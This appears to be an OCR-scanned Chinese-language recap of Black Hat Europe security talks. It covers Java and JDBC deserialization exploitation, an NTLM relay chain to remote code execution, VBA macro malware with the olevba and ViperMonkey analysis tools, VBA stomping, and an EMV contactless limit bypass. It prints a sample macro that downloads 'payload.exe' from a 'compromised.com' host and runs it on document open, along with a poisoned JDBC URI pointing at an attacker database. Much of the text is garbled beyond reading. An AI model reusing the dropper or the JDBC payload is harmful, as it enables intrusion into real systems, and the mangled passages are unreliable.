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What Do WebLogic, WebSphere, JBoss, Jenkins,
OpenNMS, and Your Application Have in Common? This
Vulnerability.

What Do Weblogic, WebSphere, JBoss, Jenkins, DpanhdS...
' By @breanmachine What? The most underrated, underhyped

96 Retweets 74 Likes

1 ~ FoxGlove Security BN 2015 #FRLFIULHEE
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IS N B gimBEBE L5 (Black list) ~ #EE5(Filter) ARAIH
Java agent(Runtime Application Self-protection, RASP)FYTZ[H
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SRIMAFIERAY Black Hat Europe 7 - 3 a3 HM I (A1 25 B AV 28
Efe o B A JDBC(Java DataBase Connetivity)A 55BEAYS:8)
(queryInterceptors ~ autoDeserialize)—*b—TE{TIAEE -

Java DataBase Connectivity

Vulnerable parameter
« guerylnterceptors to invoke getObject
« autoDeserialize to allow deserialize data from server

Steps to exploit JDBC

1. Attacker set up a database service. jdbc:mysaql://attacker/db?

2. Attacker poison the JODBC URlI == | guerylnterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffinterceptor]
3. Victim make a JDBC connection to attacker. &autoDeserialize=true

4. Return payload to Victim.

JDBC URI | _ |
i 1. ServerStatusDiffinterceptor I
JDBGC Connection from client | 2. getObject(autoDeserialize?) |
| |

3. deserialize data

I}

Payload

3~ JDBC EFIE
(EHRZRJE: Black Hat Europe)




o # A F NTLM(NT LAN Manage r) ©L&18Y CVE JRilAE7T ER 2 - M8 %L RCE
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Combine 3 vulnerabilities and lead to RCE

1. Trigger a HTTP Request by exploiting Deserialization vulnerability.
2. NTLM HASH Leaking vulnerability of URLConnection (CVE-2019-2426).
3. New technology to perform NTLM Reflection Attack (CVE-2019-1040).

Trigger HTTP request by exploiting deserialization vulnerability

Fei NTLM Authentication by exploiting URLConnection (CVE-2019-2426)

- - - Relay the Net-NTLM HASH to SMB (CVE-2019-1040)

4 ~ M FFYELL R NTLM JRE5ERY RCE 2 e
(EHRERJE: Black Hat Europe)
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VBA B H ANy AIEH

R
Automatically
Al Downloader E,
Dropper {HHE.E VBA E£ ‘.
BEM BT A S ELT & b ‘

T (command ) ~ $EAE

HI$ELLRz Shellcode HYE

A ° shellcode
(F£ 1997 £FELIZK » E&EFE
Microsoft Office HiLH] command
All this sir
DIRER S B H50 T) no need fi

5~ VBA EEREMEINIE
(ERAJE: Black Hat Europe)

Sample VBA Downloader / Dropper

Private Declare Function URLDownloadToFileA Lib "urlmon" _
(Byval A As Long, Byval B As String,

Byval C As String, Byval D As Long, _ Uses the _
URLDownloadToFileA

Byval E As Long) As Long function from
URLMON.dI|

_____..-»I Runs when the document opens |

Sub Auto_Open()

Dim result As Long Executable filename

fname = Environ("TEMP") & "\agent.exe"-*”"'* created in %TEMP%

result = URLDownloadToFi 'IeA{O,\"\
"http://compromised.com/payload.exe™, — Downloads the payload

from an Internet server

fname, 0, 0)

Shell fname

End Sub

6 ~ VBA £ Downloader/Dropper 2 ifdl
(BF}AGHE: Black Hat Europe)
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AR (HTEEGE 1997 EEFRAC > VBA EERWAHEDZ - BEE R ?
R Es VBA EEAEAREE ~ IDS S EDR FEELE T Al IEA B (4%
Ui

True #DFIR tales by @JohnLaTwe

What? We bought IPS,

The CEQ gat spear- Did they use ROP? How did they bypass CFG, Mewi a Wiioed doc That wasn't in any of
w::pu SO BRI A ASLR, EMET, EAF, DEP, SEHOP, SafeSEH, G3, and th our Magic Quadrant
NGFW, K0Cs, AV, anti- e disabling? with a macro
APT appliances
—~ )

B3

28

8 ~ VBA EEEEZEMAZ R
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2. VBA EEHE(4317)
HE AR A A T T H -olevba » T HIHEE BAY Microsoft
Office AYREZAE(HI4I:doc ~ x1s M ppt Z5)ECE VBA HYJHLAHE o

« https://github.com/decalage2/oletools/wiki/olevba
* Command-line tool + Python library for your applications Auto Execution Triggers

AutoOpen, Document_0pen,
Input File =) ‘
L
Supported Formats: \

Word .doc, .docm
+  Excel .xls, .xIsm, .xIsb
* PowerPoint .ppt, .pptm
* Publisher .pub
*  Word 2003 XML
*  Word 2007+ XML (FlatOPC)
+  MHT/ActiveMime .mht
*  SYLK/SLK
* VBA source code

E 9 ~ VBA BT T E -olevba HIETIE
(BFRIAGHE: Black Hat Europe)

10



NEBIRITHIE Z A A E - BRSO I A 2 R Sy Emny > #5y
R ARE S B> FIEEEU N E T B—Eo i LA
-ViperMonkey - ViperMonkey s&HHH EFHY VBA AT 23 BB EEEs P4
52 o

* https://github.com/decalage2/ViperMonkey  trace code

h - .

Code Model

(Python classes)

ny

10 ~ VBA EES3Mr A -ViperMonkey #E{FfifE
(BRIAGE: Black Hat Europe)

3. VBA EEEEFERAMT
VBA Stomping
VBA EEEDL VBA [REIAIELUR P-code M5 Criice File
A SREZEE F > P-code BLED
TS AT A AT TC4HES (By tecode )
I B EAS R AT U B THYIREE -
T8y P-code RIZ G & —EF-1E
FEALBHRL - I AT E R HIEBT
HYE S 2 W TR AT 47 /Y P-code 1T
P VBA A - —
HFTEEE Microsoft Office FYAR
KEHIELD)

VBA Module
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Stomping #BHY(FEEHY VBA E£) -

MS Office File

VBA Module

Compare

12 ~ olevba #0{a[{EH] VBA Stomping 2[5 EH 1< {3l
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RISK ANALYSIS

w«
* Card authentication

* Transaction authorisation *Le'r “‘%*‘

(cryptogram) o [ W
* Cardholder verification (CVM) I

Tap & Go limits
* regulated by country
* set up on the terminal
* are not mandatory

13 ~ FEEEE=AC S  EMV Thie B 7 i
(EHRZERE: Black Hat Europe)

fitr 35 B VISA-RAE ISR E T2 A RIREY (7] DR 30 S HIRA])
PR B VISA /b 17— iV EEs (8 Mas terCard AHEL ) - FEGHEAVESG 1 -
FTAHY VISA REVINEFE R LU — 80779 VISA R (BEHE - BUM - 3=
ER BTN ) B2 FIsp By - BF L - SEA A IR E R RER A B
aalE A 5E Al H I A& (MITM) -

HOW MANY ARE AFFECTED? / Stz /

54

All VISA cards
all cryptograms
are affected

12 VISA cards
UK, EU, US, Asia

Only 2 banks Min - £31
blocked £31 Max - £100
transac“ons* Tested in multiple places
—_—

can be bypassed

14 ~ JEFEEAL S - EMV h e R s 22
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